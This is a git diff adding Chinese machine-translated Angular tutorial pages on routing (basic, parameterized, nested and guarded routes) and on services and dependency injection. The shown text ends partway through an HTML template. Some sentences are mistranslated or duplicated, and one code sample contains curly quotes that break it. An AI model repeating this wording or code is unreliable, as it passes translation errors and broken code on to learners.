+注意AppRoutingModule如何导入RouterModule同时导出它。鉴于AppRoutingModule是一个功能模块，这是有道理的。它作为功能模块导入根模块。它将RouterModule指令，接口和服务公开给根组件树。
+
+这解释了为什么AppRoutingModule必须导出RouterModule。它是为了根模块的底层组件树而这样做的。它需要访问这些路由实用程序！
+
+```typescript
+import { BrowserModule } from '@angular/platform-browser'; 
+ import { NgModule } from '@angular/core'; 
+ 
+ import { AppComponent } from './app.component'; 
+ import { AComponent } from './components/a/a.component'; 
+ import { BComponent } from './components/b/b.component'; 
+ import { AppRoutingModule } from './modules/app-routing/app-routing.module'; 
+ 
+ @NgModule({ 
+  declarations: [ 
+    AppComponent, 
+    AComponent, 
+    BComponent 
+  ], 
+  imports: [ 
+    AppRoutingModule, // routing feature module 
+    BrowserModule 
+  ], 
+  providers: [], 
+  bootstrap: [ AppComponent ] 
+ }) 
+ export class AppModule { } 
+```
+
+AppRoutingModule令牌从最顶层导入。它的令牌插入到根模块的imports数组中。根组件树现在可以使用RouterModule库。这包括已经提到的指令，接口和服务。非常感谢AppRoutingModule导出RouterModule！
+
+RouterModule实用程序将为root的组件派上用场。 AppComponent的基本HTML使用一个指令： `router-outlet` 。
+
+```html
+
+<!-- app.component.html --> 
+ 
+ <ul> 
+  <!-- routerLink(s) here --> 
+ </ul> 
+ <router-outlet></router-outlet> 
+ <!-- routed content appends here (AFTER THE ELEMENT, NOT IN IT!) --> 
+```
+
+`routerLink`是`routerLink`的属性指令。一旦设置了路由，它将附加到`<ul></ul>`每个元素。 `router-outlet`是一个有趣行为的组件指令。它更像是显示路由内容的标记。路由内容是导航到特定路线的结果。通常这意味着在AppRoutingModule中配置的单个组件
+
+路由内容在`<router-outlet></router-outlet>`之后立即呈现。内部没有任何东西呈现出来。这并没有太大的差别。也就是说，不要指望`router-outlet`的行为就像路由内容的容器一样。它仅仅是将路由内容附加到文档对象模型（DOM）的标记。
+
+#### 基本路由
+
+上一节建立了路由的基本设置。在实际路由发生之前，必须解决一些问题
+
+要解决的第一个问题是此应用程序将使用哪些路由？嗯，有两个组件：AComponent和BComponent。每个人都应该有自己的路线。它们可以根据当前路径位置从AppComponent的`router-outlet`进行渲染。
+
+路径位置（或路径）通过一系列斜杠（ `/` ）定义附加到[网站原点的内容](https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Origin) （例如http：// localhost：4200）。
+
+```typescript
+// … same imports from before … 
+ 
+ const routes: Routes = [ 
+  { 
+    path: 'A', 
+    component: AComponent 
+  }, 
+  { 
+    path: 'B', 
+    component: BComponent 
+  } 
+ ]; 
+ 
+ @NgModule({ 
+  imports: [ RouterModule.forRoot(routes) ], 
+  exports: [ RouterModule ] 
+ }) 
+ export class AppRoutingModule { } 
+```
+
+`http://localhost:4200/A`从AppComponent的`router-outlet`呈现AComponent。 `http://localhost:4200/B`呈现BComponent。您需要一种方法来路由到这些位置而不使用地址栏。应用程序不应依赖Web浏览器的地址栏进行导航。
+
+_全局CSS（层叠样式表）补充了它下面的HTML。应用程序的路由器链接应该具有令人愉悦的外观。此CSS也适用于所有其他示例。_
+
+```css
+/* global styles.css */ 
+ 
+ ul li { 
+  cursor: pointer; 
+  display: inline-block; 
+  padding: 20px; 
+  margin: 5px; 
+  background-color: whitesmoke; 
+  border-radius: 5px; 
+  border: 1px solid black; 
+ } 
+ 
+ ul li:hover { 
+  background-color: lightgrey; 
+ } 
+```
+
+```html
+
+<!-- app.component.html --> 
+ 
+ <ul> 
+  <li routerLink="/A">Go to A!</li> 
+  <li routerLink="/B">Go to B!</li> 
+ </ul> 
+ <router-outlet></router-outlet> 
+```
+
+这是基本的路由！单击任一routerLink元素即可路由该Web地址。它重新分配它而不刷新Web浏览器。 Angular的`Router`将路由地址映射到AppRoutingModule中配置的`Routes` 。它将地址与数组中单个`Route`对象的`path`属性相匹配。第一场比赛总是胜利，所以匹配所有路线应该位于`Routes`阵列的最后。
+
+匹配所有路由可防止应用程序在无法与当前路由匹配时崩溃。这可以从用户可以在任何路线中键入的地址栏进行。为此，Angular提供了一个接受所有路由的通配符路径值`**` 。此路由通常呈现PageNotFoundComponent组件显示“错误404：找不到页面”。
+
+```typescript
+// … PageNotFoundComponent imported along with everything else … 
+ 
+ const routes: Routes = [ 
+  { 
+    path: 'A', 
+    component: AComponent 
+  }, 
+  { 
+    path: 'B', 
+    component: BComponent 
+  }, 
+  { 
+    path: '', 
+    redirectTo: 'A', 
+    pathMatch: 'full' 
+  }, 
+  { 
+    path: '**', 
+    component: PageNotFoundComponent 
+  } 
+ ]; 
+```
+
+包含`redirectTo`的`Route`对象使PageNotFoundComponent不会因`http://localhost:4200`而呈现。这是申请回家路线。要解决此问题， `redirectTo`将主路由重新路由到`http://localhost:4200/A` `http://localhost:4200/A`间接成为应用程序的新主路由。
+
+`pathMatch: 'full'`告诉`Route`对象与home路由匹配（ `http://localhost:4200` ）。它匹配空路径。
+
+自从第一场比赛获胜以来，这两个新的`Route`对象就位于数组的末尾。最后一个数组元素（ `path: '**'` ）始终匹配，因此最后一个。
+
+在继续之前还有一件值得解决的事情。用户如何知道他或她在应用程序中相对于当前路线的位置？当然可能有特定于路线的内容，但用户应该如何建立连接？应该有一些形式的突出显示应用于routerLinks。这样，用户将知道给定网页的哪条路线是活动的。
+
+这是一个简单的解决方案。单击`routerLink`元素时，Angular的`Router`会将_焦点_分配给它。该焦点可以触发某些样式，为用户提供有用的反馈。 `routerLinkActive`指令可以跟踪开发人员的这个焦点。
+
+```html
+
+<!-- app.component.html --> 
+ 
+ <ul> 
+  <li routerLink="/A" routerLinkActive="active">Go to A!</li> 
+  <li routerLink="/B" routerLinkActive="active">Go to B!</li> 
+ </ul> 
+ <router-outlet></router-outlet> 
+```
+
+`routerLinkActive`的正确分配表示一串类。此示例仅描绘一个类（ `.active` ），但可以应用任意数量的以空格分隔的类。当`Router`将_焦点_分配给routerLink时，以空格分隔的类将应用于host元素。当焦点移开时，类会自动删除。
+
+```css
+/* global styles.css */ 
+ 
+ .active { 
+  background-color: lightgrey !important; 
+ } 
+```
+
+用户现在可以轻松识别当前路线和页面内容的重合程度。 `lightgrey` highlighting适用于匹配当前路由的routerLink。 `!important`确保突出显示覆盖内联样式。
+
+#### 参数化路线
+
+路由不必完全硬编码。它们可以包含可从与`Route`对象相对应的组件引用的动态变量。在写入路径的路径时，这些变量被声明为参数。
+
+路由参数是可选的或必需的，以匹配特定的`Route` 。这取决于路由如何写入其参数。存在两种策略：矩阵和传统参数化。
+
+传统参数化从AppRoutingModule中配置的`Routes`数组开始。
+
+```typescript
+const routes: Routes = [ 
+  // … other routes … 
+  { 
+    path: 'B', 
+    component: BComponent 
+  }, 
+  { 
+    path: 'B/:parameter', 
+    component: BComponent 
+  }, 
+  // … other routes … 
+ ]; 
+```
+
+专注于两条BComponent路线。参数化最终将在两个路径中发生。
+
+传统参数化发生在第二个BComponent `Route` 。 `B/:parameter`包含`parameter`参数，如下所示`:` 。无论如何，冒号标记参数的名称。 `parameter`参数是第二个BComponent `Route`匹配所必需的。
+
+`parameter`读入传递给路径的任何值。路由到`http://localhost:4200/B/randomValue`将为`parameter`赋值`randomValue` 。此值可包括除另一个`/`之外的任何内容。例如， `http://localhost:4200/B/randomValue/blahBlah`不会触发第二个BComponent `Route` 。而PageNotFoundComponent则呈现。
+
+BComponent可以从其组件类引用路由参数。两种参数化方法（矩阵和传统方法）在BComponent中产生相同的结果。在查看BComponent之前，请检查下面的参数化矩阵形式。
+
+```typescript
+// app.component.ts 
+ 
+ import { Component } from '@angular/core'; 
+ import { Router } from '@angular/router'; 
+ 
+ @Component({ 
+  selector: 'app-root', 
+  templateUrl: './app.component.html' 
+ }) 
+ export class AppComponent { 
+  constructor(private router: Router) { } 
+ 
+  routeMatrixParam(value: string) { 
+    if (value) 
+      this.router.navigate(['B', { parameter: value }]); // matrix parameter 
+    else 
+      this.router.navigate(['B']); 
+  } 
+ 
+  routeAddressParam(value: string) { 
+    this.router.navigate(['B', value]); 
+  } 
+ } 
+```
+
+Angular的依赖注入系统提供了`Router`的实例化。这允许组件以编程方式路由。 `.navigate(...)`函数接受一个解析为_可路由_路径的值数组。像`.navigate(['path', 'to', 'something'])`解析为`http://localhost:4200/path/to/something` 。 `.navigate(...)`在将数组规范化为_可路由_路径时添加路径分隔`/`标记。
+
+第二种形式的参数化发生在`routeMatrixParam(...)` 。请参阅以下代码行： `this.router.navigate(['B', { parameter: value }])` 。这种形式的`parameter`是矩阵参数。它的值是可选的第一BComponent `Route`匹配（ `/B` ）。该`Route`无论在路径参数的存在相匹配。
+
+`routeAddressParam(...)`解析与`http://localhost:4200/B/randomValue`参数化方法匹配的路由。这种传统策略需要一个参数来匹配第二个BComponent路径（ `B/:parameter` ）。
+
+矩阵策略涉及`routeMatrixParam(...)` 。在路径中有或没有矩阵参数的情况下，第一个BComponent路径仍然匹配。 `parameter`参数传递给BComponent，就像传统方法一样。
+
+为了充分了解上面的代码，这里是相应的模板HTML。
+
+```html
+
+// app.component.html 
+ 
+ <ul> 
+  <li routerLink="/A">Go to A!</li> 
+  <li> 
+    <input #matrixInput> 
+    <button (click)="routeMatrixParam(matrixInput.value)">Matrix!</button> 
+  </li> 
+  <li> 
+    <input #paramInput> 
+    <button (click)="routeAddressParam(paramInput.value)">Param!</button> 
+  </li> 
+ </ul> 
+ <router-outlet></router-outlet> 
+```
+
+在模板中，值被接受为文本输入。输入将其作为参数注入路径路径。每个参数化策略（传统和矩阵）存在两组独立的盒子。将所有部分组合在一起，是时候检查BComponent组件类了。
+
+```typescript
+// b.component.ts 
+ 
+ import { Component, OnInit } from '@angular/core'; 
+ import { ActivatedRoute, ParamMap } from '@angular/router'; 
+ 
+ @Component({ 
+  selector: 'app-b', 
+  template: ` 
+  <p>Route param: {{ currParam }}</p> 
+  ` 
+ }) 
+ export class BComponent implements OnInit { 
+  currParam: string = ""; 
+ 
+  constructor(private route: ActivatedRoute) { } 
+ 
+  ngOnInit() { 
+    this.route.params.subscribe((param: ParamMap) => { 
+      this.currParam = param['parameter']; 
+    }); 
+  } 
+ } 
+```
+
+BComponent来自AppRoutingModule中两个BComponent路由中的任何一个。 `ActivatedRoute`实例化为一组与当前路线有关的有用信息。也就是说，导致BComponent渲染的路由。 `ActivatedRoute`通过针对类构造函数的依赖注入实例化。
+
+`ActivatedRoute.params`的`.params`字段返回一个`Observable` ，它发出路由参数。注意两种不同的参数化方法如何产生`parameter`参数。返回的`Observable`其作为`ParamMap`对象内的键值对发出。
+
+在两种参数化方法之间， `parameter`参数解析相同。尽管采用了参数化方法，但该值仍然来自`ActivatedRoute.params` 。
+
+地址栏区分每种方法的最终结果。矩阵参数化（ `Route`匹配可选）产生地址： `http://localhost:4200/B;parameter=randomValue` 。传统参数化（ `Route`匹配所需）产生： `http://localhost:4200/B/randomValue` 。
+
+无论哪种方式，都会产生相同的BComponent结果。实际差异：不同的BComponent `Route`匹配。这完全取决于参数化策略。矩阵方法确保参数对于`Route`匹配是可选的。传统方法需要它们。
+
+#### 嵌套路由
+
+`Routes`可以形成层次结构。在DOM中，这涉及一个父`router-outlet`渲染至少一个子`router-outlet` 。在地址栏中，它看起来像这样： `http://localhost/parentRoutes/childRoutes` 。在`Routes`配置中， `children: []`属性表示`Route`对象具有嵌套（子）路由。
+
+```typescript
+import { NgModule } from '@angular/core'; 
+ import { RouterModule, Routes } from '@angular/router'; 
+ 
+ import { NestComponent } from '../../components/nest/nest.component'; 
+ import { AComponent } from '../../components/nest/a/a.component'; 
+ import { BComponent } from '../../components/nest/b/b.component'; 
+ 
+ const routes: Routes = [ 
+  { 
+    path: 'nest', 
+    component: NestComponent, 
+    children: [ 
+      { path: 'A', component: AComponent }, 
+      { path: 'B', component: BComponent } 
+    ] 
+  } 
+ ]; 
+ 
+ @NgModule({ 
+  imports: [ RouterModule.forRoot(routes) ], 
+  exports: [ RouterModule ] 
+ }) 
+ export class AppRoutingModule { } 
+```
+
+```typescript
+// nest.component.ts 
+ 
+ import { Component } from '@angular/core'; 
+ 
+ @Component({ 
+  selector: 'app-nest', 
+  template: ` 
+  <ul> 
+    <li routerLink="./A">Go to A!</li> 
+    <li routerLink="./B">Go to B!</li> 
+  </ul> 
+  <router-outlet></router-outlet> 
+  ` 
+ }) 
+ export class NestComponent { } 
+```
+
+NestComponent呈现一个`router-outlet`从另一个根级渲染本身后`router-outlet`在AppComponent。 NestComponent模板的`router-outlet`可以呈现AComponent（ `/nest/A` ）或BComponent（ `/nest/B` ）。
+
+AppRoutingModule在NestComponent的`Route`对象中反映了这种嵌套。 `children: []`字段包含一组`Route`对象。这些`Route`对象也可以在其`children: []`节点中嵌套路径`children: []`字段。然而，这可以继续多层嵌套路由。上面的例子显示了两层嵌套。
+
+与`/`相比，每个`routerLink`包含`./` 。这个`.`确保routerLink附加到路由路径。 routerLink完全替换了路径。路由到`/nest` ， `.`扩展到`/nest` 。
+
+这对于从`.nest`路由路由到`/nest/A`或`/nest/B`非常有用。 `A`和`B`构成`/nest`嵌套路由。路由到`/A`或`/B`返回PageNotFound。 `/nest`必须在前面添加两条路由。
+
+在模板中查看包含根级`router-outlet`的AppComponent。 AppComponent是第一层嵌套，而NestComponent是第二层。
+
+```typescript
+import { Component } from '@angular/core'; 
+ 
+ @Component({ 
+  selector: 'app-root', 
+  template: ` 
+  <ul> 
+    <li routerLink="/nest">Go to nested routes!</li> 
+    <li routerLink="/">Back out of the nested routes!</li> 
+  </ul> 
+  <router-outlet></router-outlet> 
+  ` 
+ }) 
+ export class AppComponent { } 
+```
+
+在嵌套`Route`对象中， `children: []`包含两个嵌套路由。如前所述，当从`/nest`路由时，它们会产生AComponent和BComponent。为了演示，这些组件非常简单。 `<li routerLink="/">...</li>`可让您导航出巢路线以通过导航到主路线来重置示例。
+
+```typescript
+import { Component } from '@angular/core'; 
+ 
+ @Component({ 
+  selector: 'app-a', 
+  template: ` 
+  <p>a works!</p> 
+  ` 
+ }) 
+ export class AComponent { } 
+```
+
+```typescript
+import { Component } from '@angular/core'; 
+ 
+ @Component({ 
+  selector: 'app-b', 
+  template: ` 
+  <p>b works!</p> 
+  ` 
+ }) 
+ export class BComponent { } 
+```
+
+`children: []`数组接受`Route`对象作为元素。 `children: []`也可以适用于任何这些元素。这些元素的孩子可以继续筑巢。然而，这种模式可以继续用于许多层嵌套。为每个嵌套路由层插入`router-outlet`到模板中。
+
+无论`Route`对象的嵌套级别如何，路由技术都适用。参数化技术仅在一个方面不同。子路径只能通过`ActivatedRoute.parent.params`访问其父级参数。 `ActivatedRoute.params`针对相同级别的嵌套路由。这不包括父级路由及其参数。
+
+`Route`保护特别适合嵌套路由。一个`Route`对象可以限制对其所有嵌套（子）路由的访问。
+
+#### 守卫路线
+
+Web应用程序通常由公共和私有数据组成。两种类型的数据往往都有自己的带有_保护_路由的页面。这些路由允许/限制访问，具体取决于用户的权限。未经授权的用户可能会与受保护的路由进行交互。如果用户尝试访问其路由内容，则该路由应阻止该用户。
+
+Angular提供了一组可以附加到任何路由的身份验证保护。这些方法根据用户与受保护路由的交互方式自动触发。
+
+*   `canActivate(...)` - 当用户尝试访问路由时触发
+    
+*   `canActivateChild(...)` - 当用户尝试访问路由的嵌套（子）路由时触发
+    
+*   `canDeactivate(...)` - 当用户尝试离开路线时触发
+    
+
+Angular的防护方法可从`@angular/router` 。为了帮助他们进行身份验证，他们可以选择接收一些参数。这些参数不通过依赖注入注入。在引擎盖下，每个值都作为参数传递给调用的guard方法。
+
+*   `ActivatedRouteSnapshot` - 适用于所有三个
+    
+*   `RouterStateSnapshot` - 可用于所有三个
+    
+*   `Component` - 可用于`canDeactivate(...)`
+    
+
+`ActivatedRouteSnapshot`提供对受保护路由的路由参数的访问。 `RouterStateSnapshot`公开与路由匹配的URL（统一资源定位符）Web地址。 `Component`引用路由呈现的组件。
+
+为了保护路由，实现保护方法的类首先需要作为服务存在。该服务可以注入AppRoutingModule以保护其`Routes` 。服务的标记值可以注入任何一个`Route`对象。
+
+```typescript
+import { NgModule } from '@angular/core'; 
+ import { RouterModule, Routes } from '@angular/router'; 
+ 
+ import { AuthService } from '../../services/auth.service'; 
+ import { UserService } from '../../services/user.service'; 
+ 
+ import { PrivateNestComponent } from '../../components/private-nest/private-nest.component'; 
+ import { PrivateAComponent } from '../../components/private-nest/private-a/private-a.component'; 
+ import { PrivateBComponent } from '../../components/private-nest/private-b/private-b.component'; 
+ 
+ const routes: Routes = [ 
+  { 
+    path: 'private-nest', 
+    component: PrivateNestComponent, 
+    canActivate: [ AuthService ], // !!! 
+    canActivateChild: [ AuthService ], // !!! 
+    canDeactivate: [ AuthService ], // !!! 
+    children: [ 
+      { path: 'private-A', component: PrivateAComponent }, 
+      { path: 'private-B', component: PrivateBComponent } 
+    ] 
+  } 
+ ]; 
+ 
+ @NgModule({ 
+  imports: [ RouterModule.forRoot(routes) ], 
+  exports: [ RouterModule ], 
+  providers: [ 
+    AuthService, 
+    UserService 
+  ] 
+ }) 
+ export class AppRoutingModule { } 
+```
+
+`canActivate` ， `canActivateChild`和`canDeactivate`来自AuthService。服务实现将在UserService实现的同时显示。
+
+UserService提供验证用户身份所需的信息。 AuthService防护方法实现执行身份验证。 AppRoutingModule必须将两个服务包含在其providers数组中。这样模块的注入器就知道如何实例化它们。
+
+嵌套路由存在于`/private-nest`路径之外。 `/private-nest`的`Route`对象包含一些新字段。他们的名字应该看起来很熟悉，因为他们反映了相应的防守方
+
+触发时，每个字段在服务内部触发其同名的方法实现。任何数量的服务也可以填充此数组。每个服务的方法实现都经过测试。它们必须返回一个布尔值或一个发出布尔值的`Observable` 。
+
+请参阅下面的AuthService和UserService实现。
+
+```typescript
+// user.service.ts 
+ 
+ import { Injectable } from '@angular/core'; 
+ import { Router } from '@angular/router'; 
+ 
+ class TheUser { 
+  constructor(public isLoggedIn: boolean = false) { } 
+ 
+  toggleLogin() { 
+    this.isLoggedIn = true; 
+  } 
+ 
+  toggleLogout() { 
+    this.isLoggedIn = false; 
+  } 
+ } 
+ 
+ const globalUser = new TheUser(); 
+ 
+ @Injectable({ 
+  providedIn: 'root' 
+ }) 
+ export class UserService { 
+  theUser: TheUser = globalUser; 
+ 
+  constructor(private router: Router) { } 
+ 
+  get isLoggedIn() { 
+    return this.theUser.isLoggedIn; 
+  } 
+ 
+  login() { 
+    this.theUser.toggleLogin(); 
+  } 
+ 
+  logout() { 
+    this.theUser.toggleLogout(); 
+    this.router.navigate(['/']); 
+  } 
+ } 
+```
+
+随着UserService的每个实例化传递相同的`TheUser`实例。 `TheUser`可以访问`isLoggedIn`来确定用户的登录状态。另外两个公共方法让UserService切换`isLoggedIn`的值。这样用户就可以登录和注销。
+
+您可以将`TheUser`视为全局实例。 `UserService`是一个可实例化的接口，用于配置此全局。从一个`UserService`实例化对`TheUser`更改适用于每个其他`UserService`实例。 `UserService`实现到AuthService以提供对TheUser的`isLoggedIn`的访问以`TheUser`身份验证。
+
+```typescript
+import { Component, Injectable } from '@angular/core'; 
+ import { CanActivate, CanActivateChild, CanDeactivate, ActivatedRouteSnapshot, RouterStateSnapshot } from '@angular/router'; 
+ 
+ import { UserService } from './user.service'; 
+ 
+ @Injectable({ 
+  providedIn: 'root' 
+ }) 
+ export class AuthService implements CanActivate, CanActivateChild, CanDeactivate<Component> { 
+  constructor(private user: UserService) {} 
+ 
+  canActivate(route: ActivatedRouteSnapshot, state: RouterStateSnapshot) { 
+    if (this.user.isLoggedIn) 
+      return true; 
+    else 
+      return false; 
+  } 
+ 
+  canActivateChild(route: ActivatedRouteSnapshot, state: RouterStateSnapshot) { 
+    return this.canActivate(route, state); 
+  } 
+ 
+  canDeactivate(component: Component, route: ActivatedRouteSnapshot, state: RouterStateSnapshot) { 
+    if (!this.user.isLoggedIn || window.confirm('Leave the nest?')) 
+      return true; 
+    else 
+      return false; 
+  } 
+ } 
+```
+
+AuthService实现从`@angular/router`导入的每个保护方法。每个保护方法都映射到PrivateNestComponent的`Route`对象中的相应字段。 UserService的实例从AuthService构造函数实例化。 AuthService确定用户是否可以继续使用UserService公开的`isLoggedIn` 。
+
+从警卫返回`false`指示路由阻止用户路由。返回值为`true`允许用户前往其路由目的地。如果多个服务进行身份验证，则它们都必须返回true以允许访问。 `canActivateChild`保护`canActivateChild`的子路由。该保护方法考虑用户通过地址栏绕过PrivateNestComponent。
+
+Guard方法参数在调用时自动传入。虽然该示例没有使用它们，但它们确实从路线提供了有用的信息。开发人员可以使用此信息来帮助验证用户身份。
+
+AppComponent还实例化UserService以便在其模板中直接使用。 AppComponent和AuthService的UserService实例化引用相同的用户类（ `TheUser` ）。
+
+```typescript
+import { Component } from '@angular/core'; 
+ 
+ import { UserService } from './services/user.service'; 
+ 
+ @Component({ 
+  selector: 'app-root', 
+  template: ` 
+  <ul> 
+    <li routerLink="/private-nest">Enter the secret nest!</li> 
+    <li routerLink="/">Leave the secret nest!</li> 
+    <li *ngIf="user.isLoggedIn"><button (click)="user.logout()">LOGOUT</button></li> 
+    <li *ngIf="!user.isLoggedIn"><button (click)="user.login()">LOGIN</button></li> 
+  </ul> 
+  <router-outlet></router-outlet> 
+  ` 
+ }) 
+ export class AppComponent { 
+  constructor(private user: UserService) { } 
+ } 
+```
+
+UserService处理AppComponent的所有逻辑。 AppComponent主要关注其模板。 UserService确实从类构造函数实例化为`user` 。 `user`数据确定模板的功能。
+
+#### 结论
+
+路由在应用程序的组织和限制部分之间达到了很好的平衡。较小的应用程序（如博客或致敬页面）可能不需要任何路由。即使这样，包括一点哈希路由也不会受到伤害。用户可能只想参考页面的一部分。
+
+Angular应用自己的构建于HTML5 [历史API](https://developer.mozilla.org/en-US/docs/Web/API/History_API)之上的路由库。此API省略了散列路由，而是使用`pushState(...)`和`replaceState(...)`方法。他们更改网址URL而不刷新页面。 Angular中的默认路径位置路由策略以这种方式工作。如果`RouterModule.forRoot(routes, { useHash: true })`设置`RouterModule.forRoot(routes, { useHash: true })`启用散列路由。
+
+本文重点介绍默认路径定位策略。无论策略如何，许多路由实用程序都可用于路由应用程序。 `RouterModule`通过其导出公开这些实用程序。使用RouterModule可以实现基本，参数化，嵌套和保护路由。有关包含延迟加载路由的更高级实现，请参阅以下链接。
+
+## 来源
+
+*   [角度团队。 “路由和导航”。 _谷歌_ 2018年6月8日访问。](https://angular.io/guide/router)
+*   [侯赛因，阿西姆。 “Angular 5：Routing”。 _codecraft.tv_ 。 2018年6月8日访问。](https://codecraft.tv/courses/angular/routing)
+*   [史密斯，彼得。 “角度中的3种路径加载，用500个单词解释”。 _Upstate Interactive_ ，2017年5月3日。访问时间为2018年6月8日。](https://blog.upstate.agency/3-types-of-route-loading-in-angular-explained-in-500ish-words-f22976e1f60b)
+*   [Koretskyi，Maxim。 “避免与Angular模块的常见混淆”。 _Angular In Depth_ ，2017年8月10日。访问2018年6月8日。](https://blog.angularindepth.com/avoiding-common-confusions-with-modules-in-angular-ada070e6891f)
+
+## 资源
+
+*   [角度文档](https://angular.io/guide)
+*   [路由和导航](https://angular.io/guide/router)
+*   [Angular 5：Asim Hussain的路由教程](https://codecraft.tv/courses/angular/routing/overview)
+*   [角度深度](https://blog.angularindepth.com)
+*   [Angular GitHub存储库](https://github.com/angular/angular)
+*   [角度CLI](https://cli.angular.io)
\ No newline at end of file
diff --git a/client/src/guide/chinese/angular/services-and-injectors/index.md b/client/src/guide/chinese/angular/services-and-injectors/index.md
new file mode 100644
index 0000000000..d9d8bcd458
--- /dev/null
+++ b/client/src/guide/chinese/angular/services-and-injectors/index.md
@@ -0,0 +1,258 @@
+---
+title: Services and Injectors
+localeTitle: 服务和注射器
+---
+# 服务和注射器
+
+#### 动机
+
+组件负责呈现到模板中的数据。拥有外部_服务_可以简化这一责任。另外，封装外部更容易维护。
+
+将过多的职责委托给单个组件会使组件类复杂化。如果这些责任适用于多个组件怎么办？复制和粘贴这种逻辑是非常糟糕的做法。未来对逻辑的任何更改都将难以实现和测试。
+
+Angular意味着通过服务和依赖注入来解决这个问题。这两个概念协同工作以提供_模块化_功能。
+
+组件也不需要提供任何无关的信息。服务代表其_服务_的组件导入其运行所需的内容。组件只需要实例化服务。从那里，他们用_服务_实例化的服务实例自己的需要。
+
+至于测试和未来的修改，所有逻辑都集中在一个地方。该服务从其源实例化。对源的测试和修改适用于注入服务的任何位置。
+
+#### 服务简介
+
+服务是Angular中可用的一种_原理图_ 。它由命令行界面（CLI） `ng generate service [name-of-service]` ： `ng generate service [name-of-service]` 。将`[name-of-service]`替换为更好的名称。 CLI命令产生以下内容。
+
+```typescript
+import { Injectable } from '@angular/core'; 
+ 
+ @Injectable({ 
+  providedIn: 'root' 
+ }) 
+ export class LoggerService { 
+  constructor() { } 
+ } 
+```
+
+服务的逻辑在同类中是不同的。 Angular将类解释为基于`@Injectable`装饰器的_可注入_服务。注射服务必须_注册_注射器。
+
+该组件在注入器提供该实例时实例化服务。请继续阅读下一节，了解有关喷油器的更多信息。
+
+提供的`@Injectable`元数据字段`providedIn: 'root'`以当前应用程序的根模块（ `app.module.ts` ）为目标。它注册到模块的喷油器的服务，以便它可以_注入_该服务到任何孩子。
+
+注射器是Angular依赖注射系统的构建模块。在继续提供服务之前，注射器是集中注意力的好地方。
+
+#### 喷油器
+
+从`app.module.ts`开始的应用程序包含一个注入器层次结构。它们与应用程序树中的每个模块和组件一起存在。
+
+![应用程序层次结构](https://raw.githubusercontent.com/sosmaniac-FCC/designatedata/master/image5.png)
+
+绿色圆圈表示注射器。它们为实例化组件提供服务实例。根据注册服务的注入器，组件可能有也可能没有。
+
+在应用程序根目录（ `app.module.ts` ）注册的服务可供所有组件使用。组件的注入器可能没有注册某个服务。如果是这种情况并且组件请求其实例化，则注入器将推迟到其父实例。这种趋势持续到达根注入器或找到服务。
+
+查看图表，假设服务在B点的注入器处注册。 C点和向下的所有组件都无法访问B注入器处注册的服务。注射器永远不会将他们的孩子推迟到服务实例。
+
+#### 依赖注入
+
+有多种方法可以使用应用程序的注入器注册服务。
+
+`@Injectable`的`providedIn: 'root'`元数据字段提供了最推荐的方法。 Angular 6发布了此元数据字段。
+
+如前所述， `providedIn: 'root'`使用根模块注入器注册服务。因此，它可以在整个应用程序中实例化。
+
+`providedIn: 'root'`的新颖性`providedIn: 'root'`是_树木震动_ 。如果该服务，尽管其注册未使用时，它会从在运行时应用_动摇_ 。这样它就不会消耗任何资源。
+
+另外两种方式更直接，更传统。当然，他们不提供树木摇晃。
+
+服务可以向组件树中的任何注入器注册。您在`@Component`元数据字段中将服务作为提供者插入： `providers: []` 。该组件及其子组件可以使用该服务
+
+在第三个注册策略中， `providers: []`元数据在`@NgModule`装饰器中作为自己的字段存在。该服务可从模块实例化到底层组件树。
+
+请记住，与`@NgModule` `providedIn: 'root'` ， `@NgModule`注册不提供树抖动。两种策略都是相同的。一旦服务向`@NgModule`注册，即使应用程序未使用它，它也会消耗资源。
+
+#### 服务继续
+
+接下来写下一个实际的服务。回顾一下，服务代表应用程序的组件处理某些功能。
+
+服务擅长处理常见操作。这样做可以使组件免除责任。它节省了不必在多个组件上重写常用操作的时间。它也更容易测试，因为代码在一个地方。更改只需要在一个地方进行，而无需在其他地方搜索。
+
+#### 用例
+
+几个例子对完全理解服务有很大帮助。
+
+*   控制台日志
+    
+*   API请求
+    
+
+两者在大多数应用中都很常见。拥有处理这些操作的服务将降低组件的复杂性。
+
+##### 控制台日志
+
+此示例从基础`@Injectable`骨架构建。通过执行CLI（ `ng generate service [name-of-service]]` ）可以获得框架。
+
+```typescript
+// services/logger.service.ts 
+ 
+ import { Injectable } from '@angular/core'; 
+ 
+ interface LogMessage { 
+  message:string; 
+  timestamp:Date; 
+ } 
+ 
+ @Injectable({ 
+  providedIn: 'root' 
+ }) 
+ export class LoggerService { 
+  callStack:LogMessage[] = []; 
+ 
+  constructor() { } 
+ 
+  addLog(message:string):void { 
+      // prepend new log to bottom of stack 
+      this.callStack = [{ message, timestamp: new Date() }].concat(this.callStack); 
+  } 
+ 
+  clear():void { 
+      // clear stack 
+      this.callStack = []; 
+  } 
+ 
+  printHead():void { 
+      // print bottom of stack 
+      console.log(this.callStack[0] || null); 
+  } 
+ 
+  printLog():void { 
+      // print bottom to top of stack on screen 
+      this.callStack.reverse().forEach((logMessage) => console.log(logMessage)); 
+  } 
+ 
+  getLog():LogMessage[] { 
+      // return the entire log as an array 
+      return this.callStack.reverse(); 
+  } 
+ } 
+```
+
+LoggerService通过`@Injectable`元数据向根模块注册。因此它可以在`app.component.html`实例化。
+
+```typescript
+// app.component.ts 
+ 
+ import { Component, OnInit } from '@angular/core'; 
+ import { LoggerService } from './services/logger.service'; 
+ 
+ @Component({ 
+  selector: 'app-root', 
+  templateUrl: './app.component.html' 
+ }) 
+ export class AppComponent implements OnInit { 
+  logs:object[] = []; 
+ 
+  constructor(private logger:LoggerService) { } 
+ 
+  updateLog():void { 
+      this.logger.printHead(); 
+      this.logs = this.logger.getLog(); 
+  } 
+ 
+  logMessage(event:any, message:string):void { 
+      event.preventDefault(); 
+ 
+      this.logger.addLog(`Message: ${message}`); 
+      this.updateLog(); 
+  } 
+ 
+  clearLog():void { 
+      this.logger.clear(); 
+      this.logs = []; 
+  } 
+ 
+  ngOnInit():void { 
+      this.logger.addLog(“View Initialized”); 
+      this.updateLog(); 
+  } 
+ } 
+```
+
+模板HTML提供了对组件使用LoggerService的进一步了解。
+
+```html
+
+<!-- app.component.html --> 
+ 
+ <h1>Log Example</h1> 
+ 
+ <form (submit)="logMessage($event, userInput.value)"> 
+  <input #userInput placeholder="Type a message..."> 
+  <button type="submit">SUBMIT</button> 
+ </form> 
+ 
+ <h3>Complete Log</h3> 
+ <button type="button" (click)="clearLog()">CLEAR</button> 
+ <ul> 
